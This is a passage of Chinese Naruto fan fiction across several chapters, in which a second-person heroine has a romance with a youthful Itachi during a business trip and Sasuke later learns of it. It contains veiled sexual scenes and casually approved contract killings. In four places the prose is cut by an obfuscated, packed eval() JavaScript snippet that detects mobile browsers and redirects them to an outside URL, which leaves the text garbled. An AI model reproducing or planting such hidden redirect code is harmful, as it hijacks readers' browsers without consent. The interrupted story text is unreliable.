呼吸、稍微变得有些紊乱了。 以额头抵着额头的形式让这绵长的亲吻落下帷幕。 嘴唇又被轻咬了一下,好吧,没有完全落下帷幕,还多加了一幕。 但这都只是正剧开始前的铺垫,你是引导者,牵引着他的手指划过地图。 “这是要点。”带着他的手指停在某处,心说自己真像个老师在划重点。 少年微微俯身,他说:“我知道,我在书上读到过。” 读到过和真的实践起来又是不一样的,他有些苦恼于自己的指腹上残留着修炼留下的茧子,会很粗糙的吧? 他考虑得那么细致,甚至无师自通地用那总是说些云里雾里话语的口舌代劳,他低垂的后颈压出一条纤细优美的线条,你的手指穿过他的长发。 窗外的雨势一点一点地加深,就如同少年的动作。 最后就是雨珠拍打在窗户上,那半透明的玻璃线条绷直。 莹莹月光下的小腹也绷直线条。 雨珠在窗户上滑落,在屋内的少年也像是淋了雨,水珠顺着眼睫抖落。 他尝过雨珠的味道,但却是第一次知道水珠的味道。 他低垂眉眼,认真仔细地舐去手指上的水珠,有点像是黑猫在舔爪子。 握住他的手腕,与他十指相扣,掌心贴着掌心,这次换成你居高临下地俯视他。 合格的忍者就是哪怕到这种时候都能忍耐着,唉,你俯身在他耳边说:“没关系的,你现在的声音很好听,我很喜欢。” 在此之前你都没说过你喜欢他的声音,你甚至还当着他的面夸奖过止水的声音很有磁性,你就是故意地,宁愿夸奖别人也不愿意给他一句夸奖。 然后又偏偏在这时候才说喜欢,他就知道,你是个性格非常恶劣的家伙,但他却……还是按照你说的,用带着些许鼻音的声音说:“只是现在吗?” 你伏倒身体,笑得身形微微颤抖,“干嘛那么斤斤计较啊?” 真担心你撞到床头柜,直到此时他还在操心,扶着你的腰。 他的嗓子有点痒,是那些你喜欢听的声音积攒起来产生的副作用。 你敏锐地察觉到了这一点,捏着他的下巴,不成曲调的声音从唇齿间倾泻而出。 恶劣的,坏心眼的,同时也是无法割舍的,他的恋人。 * 两个长发的人凑在一块,而且还是挤在一块,一觉醒来的后果就是头发缠在一块,你郁闷地让鼬给你解开头发,自己在旁边哈欠连连。 “你没有睡好吗?”他问,有点奇怪,根据他看的书一般在那之后的女性睡眠质量应该会得到提升的,是他哪里做得不对吗? “嗯,因为你一直缠着我。”你动了一下脑袋,头发被扯了一下,你倒吸一口凉气,“嘶,我说的不仅仅是头发。” 鼬浅笑着解开你们纠缠着的所有头发,额头贴着你的额头,动作亲昵,“抱歉,下次不会了。” 好吧,你也得承认他确实具有良好的服务意识,你昨天也享受到了上乘的服务,所以就连起床气也没有那么严重。 温存的气氛被佐助的敲门打断,他说:“明希,早餐已经准备好了,快点起床啦。” 你起身去浴室洗漱,鼬将床单还有被套以及枕套都拆下来,装在你浴室的脏衣篓里,走之前还问你有什么别的要洗的吗? 在刷牙的你摇摇头,他这才提着脏衣篓走出你的房间,带着脏衣服走到洗衣房,途中还遇到了佐助,后者说:“哥哥可以吃早餐了。”说完这话,他走出几步后又倒退回来,折返回到哥哥鼬身边,看了一眼他的脏衣篓,问:“这不是明希的脏衣篓吗?她现在就连脏衣服都要哥哥你来洗了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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你想说没必要的,反正你已经猜到这印子是从哪里来的,但佐助没听见你这话,就这么风风火火地出门去找来药膏。 旋开药膏,用小拇指沾取一点药膏,然后涂抹在那一块皮肤上,他说:“是被蚊子咬的吗?” 你心不在焉地回答:“啊……是被咬的。” 省略了主语,这番话显得模棱两可又朦胧暧昧。 而鼬呢,今天的止水遇到他的时候肉眼可见他的喜悦,身为鼬的好友他也问道:“是发生了什么好事吗?” 鼬思考片刻,然后没头没尾地来了一句,“明希夸我的声音好听。” “就只是这样吗?”止水茫然地问,他虽然知道鼬确实喜欢你,但也不至于因为你的一句夸奖而高兴成这样吧? “是啊,就只是这样。”鼬说,笑了一下,“她说我的声音比你的好听。” 12. 第 12 章 偶尔你也需要出差,而出差最让你头疼的就是交通工具问题了,这个世界的交通水平令人堪忧,虽然你已经在着力研发汽车和火车了,但是就算真的研发出来,还得要有配套的公路才行,至于现在的交通网……就算是最繁华的火之国那马路修得在你看来也就这样。 在这种世界当资本家也不是那么轻松的啊,你前面铺垫了那么多,其实就想说明一点,那就是你得为了自己这次出差挑选一个好用的交通工具,马车就算了,坐在上面颠得你的屁股都要有丝分裂成四瓣,至于别的交通工具,算了,你都不敢恭维,思来想去还是只能雇个人,但是比起出钱雇佣,果然还是直接压榨身边的人比较方便一些。 于是你找到鼬,问他想不想出去短途旅游,你问这话的时候他正在给你打扫房间,半跪在你的床边铺床单,又把枕头拍得松松软软的,他想了想,之后几天他确实没什么任务,他说:“要去哪里呢?” 上次他正好和止水谈论到了关于约会的事情,他想既然你们已经确定了关系那么确实应该有一场格外正式的约会才行,这次你又和他想到一块去了,这大概就是恋人之间的心有灵犀吧,他想。 “去樱之国,那里的樱花一年四季都会绽放,光是想想就觉得那画面肯定很美。”你没有告诉鼬的是你还在那个国家有几个工厂,都是制作精油和其他护肤产品的工厂,这些护肤品销往世界各地,甚至在名媛圈里也广受好评,你这次就是要去那里实地考察这几个工厂,顺便再把那些工作效率低下的员工给开除。 “可以。”他答应得很干脆利落,这样一来你的出行安全也有了保障,而且还不用出钱雇佣别的忍者。 一举两得啊。 这也不是你第一次出差了,所以你的态度也很随意,行李简单地收拾一下,那边负责接应的人会把你需要的东西都准备好的。 与之形成鲜明对比的是鼬的过分细致,他甚至还列了一张清单,照着清单准备行李,你出发的前一天晚上瞥了一眼他的清单,一眼看不到底,要不是有储物卷轴,估计你们真的得大包小包地出远门了,你说:“这只是一场短途旅游而已。” 鼬点点头,丝毫不觉得自己这阵势有多夸张,他说:“但这也是我们第一次出游。”他还带了相机和相纸,准备得非常充分。 关于你们要出去旅行的事情美琴他们也都知道了,你没特意说,那么估计就是鼬和他们说的,晚餐的时候美琴还在笑着打趣你们,“嗯,是该趁着年轻的时候多出去逛逛,鼬你应该带上相机了吧?” “带了。” “啊、那就好,这样就能记录旅行中的美好瞬间了。” 美琴又说起自己年轻的时候和自己的丈夫出去旅行的事情,你没仔细听,坐在你身边的鼬侧过头看你,大腿挨着你的腿,动作轻飘飘的,就像是黑猫表示喜爱而蹭你的小腿,他现在也是。 你奇怪地朝他眨眨眼,鼬笑了下,什么都没说。 餐桌上就只有你们四人,佐助和他的队友也出远门去了,但他们不是去旅游的,而是去出任务的,没个十天半个月都回不来。 晚餐过后你因为晚上吃得肥牛丼饭有点多,所以就想着出去散散步,你的小尾巴也跟了出来,无比自然地和你十指相扣,你更加奇怪了,“只是散步的话没必要牵手的吧?” “抱歉。”他低声道歉,然后松开手。 但是在后面散步途中,你能够感受到他的目光时不时地落在你的手背,在下一个转角你忽然停下来,不由分说地抓住他的手,真麻烦,只是这么说一句而已,也不至于一直用这种可怜兮兮的眼神看你吧? “不是说没必要牵手吗?”他的声音里带着几分笑意,你说:“因为要是不牵手的话,估计你就要难过地掉眼泪了吧?虽然你流泪的样子确实很漂亮,但是、现在看到就会觉得很麻烦。” 他的掌心贴着你的掌心,内心的喜悦溢于言表。 散步一圈回来以后又因为出了一层薄汗所以先去洗澡,带着浑身水汽从浴室里出来,卧室里的冷气打得很足,在这种时候你就会感谢这个科技树发展得奇形怪状的世界里居然还有冷气。 因为明天还要早起出差,所以你今天还是早点睡觉吧,这么想着的你下一秒就听到了敲门声,听那敲门声的节奏就知道是鼬,你打开门,问:“有什么事吗?” 他说自己房间的冷气坏了,你说那他可以睡佐助的房间,没料想到你居然会那么说,他沉默了好一会,换来你略带玩笑的反问:“怎么,佐助房间的冷气也坏了吗?那真是有点奇怪了,一下子两个房间的冷气都坏了。” 他这才坦白,“我想和你待在一起。” “我明天要早起。” 少年用那双漂亮的眼睛无声地看你,你倚靠着门框,“所以,你最好真的只是来这里打地铺的。” 他“嗯”了一声,在地板上铺上一层榻榻米,然后真的看似听话地睡下,你关掉了床头灯,侧躺着入睡,睡到半夜,你一睁眼发现他的脑袋靠在你的床边,手指勾着小拇指,你就知道他前面答应的都作废了。 “你还不睡,早上起得来吗?”你问。 “起得来。” “那我没你厉害。”你抽回手,又翻了个身,背对着他,过了一会,你叹息拍拍旁边的位置,说:“上来吧。” 黑猫爬到你的床铺上,亲昵地拥抱着你,嗅闻着你发间残留着的洗发水的香味。 “别靠太近,不然我们的头发又会缠到一块的。”你说。 “我扎了头发。” 他还是有备而来的是吧,你忍不住笑了一下,背脊贴着他的胸膛,又沉沉睡去。 隔天早上他起得比你还早,你想他大概就是那种高精力人群,哪怕睡得晚也充满精力。 赶路就是最无聊的事情了,早上从木叶出发,走得累了随便找一处草地坐下野餐,自然环境优美也是有好处的,野餐到一半就躺在草地里,地表长着的一层厚厚的绿草垫在身下反而很柔软,你将双手交叠枕在脑后。 偶尔有蝴蝶飞过草丛,在你的发间停留片刻,就又振翅而飞。 鼬也在旁边的草地躺下,在你心上风景的时候他也在看你,过了一会他又支起上半身,在随身携带的背包里找出相机,安装相片,你低头用手掌拢住一只蝴蝶的画面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16539831|186605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被他捕捉着拍下来。 只听见咔嚓一声,闪光灯也亮了一下,你松开手,掌心的蝴蝶飞走了,你说:“你拍照怎么不提前说一声?” “但是说了,刚才的画面也会消失的。” 他倒是很懂得摄影师抓拍的精髓,你取走从相机里吐出的相片,没成像,还是白茫茫的一片,你说:“如果不当忍者的话,你倒是很适合当摄影师。” “我没想过这些。”毕竟顶着宇智波的名号成为忍者也是理所当然的,不那么做才会显得很奇怪。 五颜六色的色彩逐渐从白色的相片中浮现,你盯着那张照片看了一会,“你在摄影方面也有天赋嘛。” 后来你又从他的手里拿走相机,对他拍了几张,真是白瞎了那张漂亮脸蛋,他一点都不知道摆姿势,木愣愣地任由你拍,你叹息一声,“你是木头吗?” 但是看到照片里动作僵硬的他你觉得这也挺有意思,也算是掌握了他的黑历史,把照片放进小型相册里,你站起身,拍拍沾在衣角的草屑,是时候继续出发了。 你实在是不想走路的时候就直接往他背上一靠,让他当你的人肉交通工具。 “总有一天我会让汽车在每个国家都普及的。”你说。 鼬看过你画的汽车设计图,这个设想很新颖,就是实践起来有点难,但如果是你的话,他觉得你肯定能够做到的,虽然木叶的人都认为他是天才,但他却认为你才是真正无所不能的那一个。 除了体力有点差,走路走得多了还会嚷嚷着脚痛腿痛的,他就让你坐在他的怀里,替你揉按小腿放松肌肉。 “明希最近都不锻炼了,身体素质也会跟着下降的哦。”他说。 你满不在乎,你对自己的身体素质有着清晰的认知,那就是就算你练得再努力也无法和他们这些忍者相比,挤不进去的赛道那就没必要硬融,还不如放过自己,而且不锻炼的话确实很放松很舒服啊。 “那就下降吧。”你满脸无所谓。 鼬知道自己没办法说服你,就只能继续安静地给你按摩放松。 这样的日子持续了很多天,你总算是到达了樱之国,真是不容易啊,和负责接应的人碰头,然后入住豪华酒店,其实也没有多豪华……毕竟这个世界的豪华酒店和你认知中的不太一样。 因为到的时候已经是傍晚时分,所以工作的事情就被你安排到了明天,你在洗漱过后窝在单人沙发里看文件,鼬敲了敲门,听到你应了一声后才推门进入你的房间,他的目光被茶几上的信件吸引,你看完信以后也没有收起来,而是随意地放在茶几上,也不在乎来者能够看清信件的内容,毕竟那只是白写给你的几封嘘寒问暖的信件而已,没有什么商业机密。 但鼬还是很在意,他问:“那是谁的信?” “一个下属的信。”你头也没抬一下。 他捕捉到那信件字里行间的亲昵与仰慕,语调酸涩地说:“看上去不仅仅是下属。” “那你觉得还是什么呢?”这回你终于懒洋洋地抬起头,“他只是个孩子。” 少年垂眸,若有所思。 那也是爱慕着你的孩子。 13.第 13 章 你放下文件,对着他招招手,“不要那么斤斤计较,你也不想让佐助发现你其实是个小肚鸡肠的哥哥吧?” 鼬没有马上走过来,而是俯身拿起茶几上的书信,将信纸沿着折痕复原,然后重新塞回信封里,这样的动作重复了好几次,因为白给你写了不止一封信,他从始至终都显得很安静,最后把这几封重新装好的信件送到你的手边,你伸手去拿,他没松手,像是两人在僵持着,他说:“那孩子倒是很喜欢直呼你的名字,你有教过他基本的礼仪吗?” 只是看到白在信里写你的名字就足够让他在意的,你以前怎么没发现他原来这么小心眼?你更加用力一点,把信给拿了回来,还用叠起的信件抽了一下他的手背,力道也不大,少年轻笑了一声,他喜欢这种你把注意力都放在他身上的感觉。 酒店还提供夜床服务,准备了一小瓶的清酒还有装在小碟子里的甜品,因为当地以樱花著名,所以小碟子里的都是透明的水信玄饼,最内部点缀着一枚盛开着的糖渍樱花,总是在房间里待着也太闷了,你拿起那一小瓶清酒,招呼鼬把其余点心带上去樱花树下赏月。 “是赏月还是一边赏月一边工作?”他提前那么问。 你把文件放在一旁,左手拿着的酒瓶碰了碰右手掌心里的酒杯,发出清脆的声响,你说:“是喝酒赏月。” 他这才笑了起来,端起托盘与你并肩同行。 与其说是酒店附近有着一片樱花林倒不如说是这酒店就是在大片的樱花林里建造的,潺潺溪水蜿蜒穿过这片静谧的樱花林,因为你来的日子属于旅游淡季,而且这酒店也不轻易对其他客人开放,所以就显得格外幽静。 沿着溪水走到最古老的那棵樱花树下,树下的那条小溪表面漂浮着淡粉色的樱花花瓣,你特意找到有月光照耀的地方坐下,给鼬还有你自己都倒了一杯酒,将小巧的酒杯递给他,同时又问:“你有喝过酒吗?” “没有。” “那就先抿一小口,如果不能适应就别喝了。”这是你过来人的经验之谈,你在上辈子第一次喝酒的时候也是觉得难喝,到后来才发现喝酒的乐趣,当然了,你顶多就是忙完工作空下来的时候小酌一杯,还没到有酒瘾的地步。 鼬从你手里接过那酒杯,你倒的清酒也不多,大概占据杯子二分之一的容量,他垂眸抿了一小口,不算难喝也不算多好喝,他再抬眼,发现你明亮的双眼正一眨不眨地盯着他看,估计是想看他出丑的样子,你还是那么坏心眼,但要让你失望了,他说:“还好,不算太难喝。” “真可惜,我以为你会眉毛皱到一块去的。” 直接就把自己觉得可惜的真心话给说出来了,一点也不遮掩。 他喝完这一杯,你已经在喝第二杯了,这酒的度数对你来说还太低了,感觉就像是在喝水。 那剩下的点心你都不感兴趣,尤其是做得花里胡哨的水信玄饼,根据你上辈子的经验,任何与樱花口味沾边的食物基本上都不会好吃到哪里去,所以这些樱花点心也都被鼬享用,他享用点心,你享用他,好像也没毛病。 你亲了他一下,然后说:“那么甜的点心你也能面无表情地吃下去?”他的嘴唇都变得甜滋滋的,难以想象那两份点心里都放了多少糖。 沾染着点心汁水的嘴唇也更加水润,他说:“不算太甜。” 亲吻的时候他还是喜欢闭着眼睛,那么虔诚又那么认真,你托起他的脸,细数着他纤长浓密的眼睫,被夜风吹落的花瓣落在他的眼睫,你笑着说他的眼睫上停了一片落樱。 少年的脸颊微微泛着红,一睁开眼,暂为停留的花瓣也随之落下,你又凑近问他:“你刚才只是喝了一杯清酒而已,怎么就脸红了?” “不是酒的缘故。” “那就是因为我咯?” 他瞧了你一眼,那眼神简直是在无声地问:既然你知道又为什么要问? 但要是论起脸红,你和他也是半斤八两,只不过你更有可能是因为酒精,毕竟你把剩下那一大半瓶的清酒都喝完了,你伸出手戳了一下他的额头,“原谅我吧,小鼬。” 这话显然是在模仿平日里鼬对佐助说过的话,他说:“你平常都在学什么?” “学着如何通过经济手段控制世界?”你真假掺半地说,又在他的侧颈落下一串绵密的吻,趁着他一时不注意,让他落在草丛里,落在层层叠叠的樱花花瓣里。 用手指勾走他的发绳,他的长发也随之散开,落樱点缀在他的发间,像是漆黑丝绸上绽放的绣花。 藏青色的和服中央是暗金色的腰带,你以前很喜欢拆礼物,尤其是那种被绸缎精心包装的礼物,捻着丝带的一角,只需要轻轻一扯,蝴蝶结飞走了,只留下取悦你的玩具。 暗金色的腰带也像是绸缎,你若有所思地将绸缎再利用,只不过这次是蒙住漂亮的红宝石。 有的时候如果宇智波太激动的话,也是会不自觉地露出写轮眼的,这个情报不是你道听途说来的,而是你实践出来的。 怪不得说实践出真知呢。 如果暂时失去视觉的话其他感官也会变得更加敏锐。 朦胧的月光映照在白皙的皮肤上,更像是漂亮的艺术品。 你不厌其烦地夸奖他好漂亮,总体的评价也好,各个细小部分的评价也好。 就是最后有些太过分了,眼泪都打湿了暗金色的绸缎,你拆下那条丝带,没什么歉意地向他道歉,“抱歉,不过比起因为痛苦而哭泣,显然还是因为幸福而哭泣更好一些吧?” 他缓慢地眨了一下眼睛,似乎还没有从余韵中缓过神来,等他回神,又用比红宝石还晶莹剔透的眼睛谴责你,“你好像一点歉意都没有。” “可我已经和你说了抱歉。” “明希你的性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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再不斩也是在出任务途中路过这里听说你在这家酒店住宿,所以想着来看一眼而已,他耐着性子和你报告最近的任务,在你用钱把他策反了以后,他大部分时间都在给你出任务,毕竟你给他画的终极大饼可是让他以后当水影,唉,这里的人估计都没听说过上司给画大饼的概念,基本上你多说几句他就相信了。 有一种没被现代职场摧残过的单纯感。 说完这些无趣的任务细节,就在你以为他要走人的时候,他又把话题给绕了回来,他说:“所以你和那个宇智波小鬼是什么关系?” “不是宇智波小鬼,他有自己的名字,是宇智波鼬。”你放下蜂蜜水,单手托腮看向他。 “是情人,还是玩具?”再不斩追问道。 你微微蹙眉,讥讽地笑着反问他:“怎么,问得这么详细,你也要应征?你觉得你适合当前者还是后者?” 14.第 14 章 再不斩知道想让你说好听的话比登天还难,当然了,他要是了解到你经常对鼬说些夸奖的话,估计会炸毛的吧,没错啦,你就是这么区别待遇的人。 “还是一如既往的伶牙利嘴,真想不明白那些人是怎么心甘情愿地为你卖命的。”是被你美丽明艳的外表所欺骗了吧? “你不也是在为我卖命?难不成你是心不甘情不愿地给我卖命的啊?”你好笑地说,论口才再不斩可说不过你,一旦被你反驳到一定程度,他就不说话了,只是安静地看着你,你的手指敲了敲桌面,把话题又绕回到正事上,怎么说呢,你也不是那种不苟言笑的人,只不过你也不喜欢在谈论正事的时候聊太多无关紧要的东西。 刚才再不斩汇报的任务情况让你很满意,作为一个有良心的老板你就说:“我会把奖金打到你的账户上的。”你安排给他的任务也很简单,基本上就是杀人越货,啊不是,是合理清除自己的竞争对手,有的时候还得感谢这个世界的法律不怎么健全,这世界的法律体系就跟洞洞鞋一样,到处都是漏洞,让你钻法律的空子钻得不亦乐乎。 这才是真正适合法学生野蛮生长的地方,你得出结论。 当然你也没有一上来就直接物理超度自己的竞争对手,你还是会给出一些他们难以拒绝的条件,要是在这种情况下他们还选择拒绝的话,那就只能出此下策了,反正给你解决掉的那些对家也没一个是双手干净的,基本上都是产业黄赌毒全沾,所以说你是在为民除害都不为过。 再不斩想听的可不是这些,他说:“就只是奖金?” 你挑起一边的眉毛,“那你还想要什么?我都已经给你安排每年六十天的带薪假期了,更别提其他的津贴和红利。”在这个混乱的世界里你这么好的老板上哪找去啊,你还听说有的老板一看雇佣的下属没完成任务就直接把对方给崩了的呢。 没等再不斩说些什么,书房的门就被人敲响,鼬的声音隔着门传进来,显得闷闷的,他说:“我准备了早餐。” 再不斩“啧”了一声,“你的小情人还真是贴心啊。” “那确实,你都羡慕不来的吧?”你点点头,然后让鼬端着早餐进来,是烤得金黄酥脆的吐司还有培根和煎鸡蛋,鼬将装着早餐的托盘放在你面前,接着又说:“抱歉,因为不确定这位客人是否需要早餐,所以我就没有准备。” 你用热毛巾擦手,然后笑着往烤吐司上抹果酱,是你很喜欢的覆盆子果酱,你说:“嗯……我想他应该不需要早餐,还是说你要来点吗?” 再不斩瞥了一眼你身边的鼬,“除了奖金我还需要别的武器。” “这个好说。”你咬了一口吐司,烤得火候刚刚好,恰到好处地将黄油的香味进一步发挥出来,酸甜口的果酱顺着烤吐司表面的气孔渗入内部,你小声地对鼬说:“你做的早餐很美味,谢谢你。” 这下子再不斩才算是明白你这家伙的双重标准,对待他是一句好话都说不出来,而对待这个宇智波的小鬼你就连他烤的吐司都能特意夸奖一句。 “你让一个宇智波给你做早餐,然后还因为这个夸奖他?”再不斩说,自己都没有意识到这语调有多酸。 “那我还能让你替我办事。”你又咬了一口吐司。 “那我的夸奖呢?”他问。 你咀嚼的动作停顿了一下,饶有趣味地盯着他看,然后说:“你也是一位得力下属,我对你的办事效率很满意。” 再不斩丢下一份武器清单后离开书房,那样子看上去像是在和你置气。 书房的门打开又关上,鼬说:“他对你真没礼貌。” 你吃掉一大半的吐司还有一个煎蛋就差不多吃饱了,你说:“他的性格一向如此。” “多亏了你包容度高。”鼬无疑是在睁着眼睛说瞎话,要是再不斩听到这话估计得要炸毛,明明是他一直以来都在包容你才对。 笑纳他的夸奖,在这个小插曲之后你开启今天的正事,那就是工作,唉,当一个黑心的资本家也是很不容易的,尤其是在这种混乱的世界里。 你基本上是从白天一直工作到傍晚,鼬也明白你这次出来说是来旅游其实就是来工作的,但他也没什么怨言,毕竟他可以一直待在你身边,而且书房里只有你们两个人,这样两人独处的时光就算是家里也不算多,因为佐助总是会来打断你们的相处,他还没有告诉佐助你们之间的关系变化,因为直觉告诉他佐助或许不太能接受。 至于你就压根没想过这回事了,毕竟你就没在乎过别人是怎么想的,谁让你上辈子劳碌了那么久好像也没有个好结果,所以重来一次,事事都以你自己的感受为第一位。 在鼬思索着该如何找机会向佐助坦白你们的关系时,在外出任务总算是回到木叶的佐助迫不及待地跑回家,结果却被告知自己的哥哥还有你前两天出门旅游去了。 “诶?他们旅游……他们俩是一起去的吗?”佐助问出了一个很傻的问题,母亲美琴说:“当然啦,这样也好,明希总想着去外面看看,而你哥哥也能保护她。” 不,这样一点也不好,亏他还那么急急忙忙地赶路回来呢,不就是为了早点见到你和哥哥吗?但是现在你们俩都不在,真是给了他当头一棒,他特意准备的伴手礼也没有用上,他把礼物放在你的房间里,走出房间后又问母亲,“那他们怎么不提前和我说一声呢?” “啊呀,你也知道明希是个偶尔会心血来潮的人嘛,估计她也是突然想到出门旅游的,然后刚刚好赶上你的哥哥也放假。”母亲美琴说起这件事还笑容满面,毕竟你和鼬都是她看着长大的孩子,也确实般配,如果能够结为伴侣的话也是一桩喜事。 与笑容灿烂的母亲形成鲜明对比的是神色失落的佐助,她还以为小儿子这是因为没能出去旅游才失望的,她安慰道:“等下次吧,下次你们再一起去旅游也可以呀。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548845|186605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但这是不一样的,你和哥哥只会离他越来越远。 佐助垂下眼帘,“算了。” 远在樱之国的你一连打了两个喷嚏,鼬给你披了一件外衣,说:“先把工作放一放吧。” 你将脑袋靠在他的怀里,嗅闻了几下,闻到的都是樱花的香味,“然后泡在温柔乡里吗?” “如果你想的话。”他的声音从你的头顶响起。 你抬起头,“其实你也不算多温柔。” “是么。”他耐心地听你说着他身上的缺点,比如说很傲慢,又比如说对弟弟不加掩饰的控制欲,你说:“他上次和我出去散步你为什么要支开他呢?不是吧,你连这点醋都吃吗?” 被你审判的少年没有反驳,对你指控的“罪行”供认不讳,他说:“因为他如果一直黏着你的话,又该如何成为一个合格的忍者呢?” 你撇撇嘴,“得了吧,少拿这些假大空的理由来敷衍我,我可没你的弟弟那么好糊弄。” “我也确实有些在意他和你走得近。” 他总算是说实话了。 你哼哼两声,“我说吧,我就说吧。” “可是你太耀眼,注定会吸引很多虫子。”他叹息一口气,今天早上那个雾隐村的忍者就让他非常不悦,明明只是你的下属,却还在妄想得到你的偏爱,未免也太自以为是了。 那些描述爱情的书籍总会下意识地以更多的篇幅来概述爱情带来的正面影响,例如鼓励人成长,让人变得勇敢等等,但很少有书籍正面指出爱的负面性,就比如说让本就骄傲的少年以更加尖酸刻薄的态度对待你周围的仰慕者。 “为什么是虫子啊,不应该用飞蛾扑火的比喻吗?” “那样就显得他们更像是为了爱而不计一切代价的勇者了,我为什么要那么赞美他们?” 你站起身,“小心眼的宇智波。” “鉴于我说了错话——”他勾住你的手指,眸光流转,“那么你想怎么处置我?” 后续的处置方法就不赘述了,你只不过是用了打包礼物的绸缎做了你想做的事情而已。 在樱花盛放的季节本不该有雪的,但你用绸缎拢住细腻的白雪,细雪都要融入自己的身体,也许是冰冷的,但又是温热的,在白岑岑的雪里映出自己的身影,勾勒出自己的轮廓。 你的实地考察结束,旅行也跟着结束,等回到木叶,你看见沉着一张脸的佐助,没等他开口你先一步拿出准备好的礼物,白色的木盒子表面用墨绿色的绸缎打着一个蝴蝶结,唯一美中不足的是这绸缎皱巴巴的,使得这蝴蝶结也像是被人蹂躏过的一般。 “这是给我的礼物吗?”佐助问。 你笑着说:“当然了,嗯……蝴蝶结有点皱,不要介意,因为在打包礼盒前还打包过别的东西。” “什么东西?”不知情的佐助又问。 鼬轻咳一声,“没什么。” 15.第 15 章 收到礼物的佐助虽然还有点别扭,但闷气已经消了,看吧,无论性别,收到礼物总归是会心情好一些的,佐助看了一眼那份礼物,是一对护腕,质地特殊,甚至还有储存查克拉的功能,这么精致的东西自然价格也不低,不过有钱的好处就在于买东西都不需要看标价了。 但佐助只是看了这对护腕一两眼,然后就没有然后了,他的注意力又转移到你身上,准确来说应该是你和哥哥鼬身上,他的视线在你们之间流连徘徊,像是拿不准该先问谁,“你们出去旅游怎么不先说一声呢?” “抱歉佐助,下次会提前说的。”“因为木叶太闷就出去看看别的风景。”你和鼬的回答风格截然不同,鼬还在顾及佐助的心情,而你就没想那么多了,你现在唯一想的就是自己房间的床铺,说完这句话你就先回到自己的房间,强忍着想要一头栽倒在床铺上的想法,硬生生地走进浴室里,洗漱完换上睡衣后才倒在柔软的被褥上。 你不在的时候估计都是美琴在替你打扫卫生,为了感谢她你这次也给她带了礼物,是你和鼬一起给她挑选的,一条绣着紫藤花的丝质披肩,你和鼬在商店里看到这条披肩的第一眼就笃定美琴肯定会喜欢的,本来你想付钱的,但是鼬先一步付钱,又说:“母亲如果知道这是你特意给她挑选的礼物,她肯定会很喜欢的,她不光喜欢礼物,还很喜欢你。” 这不是废话嘛,你对自己有多讨人喜欢有着清楚的认知,虽然这么说有点自恋就是了……但是、你确实也很喜欢美琴,她给你一种母亲的感觉,你上辈子和母亲的关系一般般,算不上好,也没到差劲的地步,但温柔的美琴确实让你感受到几分母亲的温和。 当你躺在阳光晒过后柔软蓬松的被褥上时,鼬拿出了你们一同挑选的丝绸披肩送到母亲面前,原本还在和佐助一起研究这对护腕的美琴惊讶道:“这是给我的吗?” “嗯,是明希挑选的礼物。”鼬浅笑着把礼物盒推到母亲手边,她打开盒子,“是很漂亮的披肩呀——明希那孩子依旧那么贴心呢。” 本来到这时佐助还觉得气氛很温馨,只是在下一秒他忽然听见母亲说:“对啦,上次我去和服店看过了,你定做的那套和服就快要完工了呢。” 诶?什么和服?这又是什么时候的事情?佐助从未听母亲说起过这件事。 而他的哥哥也顺畅地接上话,“是么,原本我还有些担心会不会在夏日祭前无法赶制完成呢。” 等等、等一下——他们到底在说什么啊? 佐助忽然感觉自己就像是局外人,他说:“我不明白……哥哥和妈妈你们都在说什么啊?什么和服,哥哥你还定做了和服?那是、要送给谁的呢?”那个答案呼之欲出,佐助是个聪明的孩子,他早就该猜到的,他早就已经猜到了的。 母亲美琴脸上挂着欣慰的笑容,“当然是你哥哥给明希定做的和服呀,等到夏日祭之后,嗯……或许再过一段时间他们就会结婚哦,不过这个还是得要看明希的意思,那孩子估计会觉得婚礼仪式很麻烦,现在年轻人不是流行旅行结婚吗?鼬和明希也可以这么试试哦。” 哈、在开玩笑的吧,突然之间冒出来的和服话题,然后最终指向结婚,佐助觉得自己现在仿佛深陷迷雾里,“哥哥和明希已经是恋人了吗?”声音颤抖着,就连牙齿也在打着颤,问出了这个问题。 鼬略带担忧,但还是点头,“是的,但其实对于佐助来说生活也不会有太多的变化,我和明希仍然是你的家人。” 不对,不应该是这样的。 佐助的神情陷入一片空白,直到他的哥哥问道:“佐助,你身体不舒服吗?”他这才唰的一下站起身,有些踉踉跄跄地跑回自己的卧室,似乎这样做就能够将这个消息抛之脑后。 